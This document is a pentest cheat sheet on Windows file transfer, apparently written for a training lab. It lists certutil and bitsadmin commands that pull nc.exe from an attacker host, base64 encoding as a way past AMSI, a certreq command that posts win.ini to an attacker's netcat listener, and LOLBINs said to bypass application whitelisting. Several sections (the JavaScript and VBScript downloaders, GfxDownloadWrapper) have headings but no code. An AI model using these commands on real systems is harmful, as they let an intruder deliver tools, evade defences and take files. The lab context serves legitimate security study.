Windows Native Transfers

CertUtil

AMSI may flag this — consider base64 encoding to bypass. Useful for pulling tools through pivots.

certutil.exe -urlcache -split -f http://10.10.10.32/nc.exe nc.exe
certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe

Base64 encode/decode with CertUtil:

certutil.exe -encode nc.exe nc.txt
certutil.exe -urlcache -split -f "http://10.10.10.32/nc.txt" nc.txt
certutil.exe -decode nc.txt nc.exe

Bitsadmin

bitsadmin /transfer wcb /priority foreground http://10.10.10.32:8000/nc.exe C:\Users\htb-student\Desktop\nc.exe

CertReq.exe Upload (LOLBIN)

certreq.exe -Post -config http://192.168.49.128:8000/ c:\windows\win.ini

Catch on attacker with nc -lvnp 8000.


GfxDownloadWrapper.exe (LOLBIN)

Intel Graphics Driver binary — may bypass application whitelisting:


RDP File Transfer

Mount Local Folder via xfreerdp / rdesktop

Access the mounted drive on the remote machine at \\tsclient\linux. Not accessible to other users on the target.


JavaScript Download (cscript.exe)

Save as wget.js:


VBScript Download (cscript.exe)

Save as wget.vbs:


References

Last updated